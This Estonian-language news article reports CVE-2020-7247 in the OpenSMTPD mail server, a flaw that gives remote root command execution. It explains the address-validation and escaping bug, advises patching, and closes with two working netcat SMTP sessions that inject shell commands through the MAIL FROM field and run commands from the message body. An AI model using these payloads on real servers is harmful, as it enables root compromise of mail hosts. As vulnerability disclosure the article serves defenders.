Haavatavus OpenSMTPD-s, mis võimaldab kaugel käitada koodi root õigustes

Arendatavas OpenBSD arendusprojektis olev e-posti server OpenSMTPD tuvastatud kriitiline haavatavus (CVE-2020-7247), mis võimaldab kaugjuhtimise teel käivitada shell-käsklusi serveris root-kasutaja õigustes. Haavatavus tuvastati Qualys Security poolt läbi viidud kordusauditi käigus (eelmine audit OpenSMTPD viidi läbi 2015. aastal, ja uus haavatavus on olemas alates maist 2018). Probleem on kõrvaldatud on OpenSMTPD 6.6.2 versioonis. Kõigile kasutajatele soovitatakse viivitamatult uuendus installida (OpenBSD jaoks saab paranduse installida syspatch'i kaudu).

Pakutud on kaks ründevarianti. Esimene variant töötab OpenSMTPD vaikeseadetega (ülitame ainult localhost'ist) ja võimaldab probleemist kohapeal kasu saada, kui ründajal on võimalus pöörduda serveri kohaliku võrgu liidese poole (näiteks majutussüsteemides). Teine variant avaldub juhul, kui OpenSMTPD on seadistatud väliste võrgu päringute vastuvõtmiseks (e-posti server, mis aktsepteerib kolmandate isikute e-kirju). Uurijad on valmistanud ette ekspluateerimise prototüübi, mis töötab edukalt nii OpenBSD 6.6 versiooni OpenSMTPD variandi kui ka teiste opsüsteemide teisaldatava versiooniga (katsetatud Debian Testing'is).

Probleem on põhjustatud veast funktsioonis smtp_mailaddr(), mida kutsutakse välja väärtuste kontrollimiseks välides 'MAIL FROM' ja 'RCPT TO', mis määravad saatja/saaja ning edastatakse e-posti serveriga ühenduse loomisel. E-posti aadressi osa, mis asub '@' sümbolist enne, kontrollitakse funktsioonis smtp_mailaddr()
valid_localpart(), mis peab lubatuks (MAILADDR_ALLOWED) sümbolid '!#$%&’*?^`{|}~+-=_', vastavalt RFC 5322 nõuetele.

Samas, tegelik stringi eskapeerimine toimub funktsioonis mda_expand_token(), mis asendab ainult sümbolid '!#$%&’*?`{|}~' (MAILADDR_ESCAPE). Edasi, mda_expand_token() ettevalmistatud stringi kasutatakse kohaletoimetamise agendi (MDA) kõne kaudu käsuga 'execle("/bin/sh", "/bin/sh", "-c", mda_command,…'. Kui kiri on paigutatud mbox'i läbi /bin/sh, käivitatakse string '"/usr/libexec/mail.local -f %%{mbox.from} %%{user.username}"', kus '%{mbox.from}' väärtus sisaldab 'MAIL FROM' parameetri eskapeeritud andmeid.

Haavatavuse põhjuseks on see, et smtp_mailaddr() funktsioonil on loogika viga, mille tõttu tagastab see e-posti aadressi tühja domeeni korral eduka kontrollikoodi, isegi kui aadressi osa enne „@“ sisaldab lubamatuid märke. Edasi ettevalmistamisel mda_expand_token() funktsiooniga ei escape'ita kõik võimalikud erimärgid shellis, vaid ainult need, mis on lubatud e-posti aadressis. Seega piisab, kui kasutada e-posti lokaalses osas märki „;“ ja tühikut, mis ei kuulu MAILADDR_ESCAPE komplekti ja mida ei escape'ita. Näiteks:

$ nc 127.0.0.1 25

HELO professor.falken
MAIL FROM:<;sleep 66;>
RCPT TO:<root>
DATA
.
QUIT

Pärast seda seanssi käivitab OpenSMTPD mboxi tarnimisel shelli kaudu käsu

/usr/libexec/mail.local -f ;sleep 66; root

Sel juhul on rünnaku võimalused piiratud sellega, et e-posti aadressi lokaalne osa ei saa ületada 64 tähemärki ning erimärgid ‘$’ ja ‘|’ asendatakse escape'imisel märgiga «:». Selle piirangu ületamiseks kasutatakse fakti, et kirja sisu edastatakse pärast /usr/libexec/mail.local käivitamist sissevoolu kaudu, st aadressiga manipuleerimise kaudu saab käivitada ainult käsurea tõlgendi sh ja kasutada kirja sisu juhiste kogumina. Kuna kirja alguses on erinevad SMTP-pealkirjad, soovitatakse nende ignoreerimiseks kasutada käsku read tsüklis. Töövõimetus omandab umbkaudu järgmise kuju:

$ nc 192.168.56.143 25

HELO professor.falken
MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>
RCPT TO:<root@example.org>
DATA
#0
#1
…
#d
for i in W O P R; do
echo -n «($i) » && id || break
done > /root/x.»`id -u`».»$$»
.
QUIT

Allikas: opennet.ru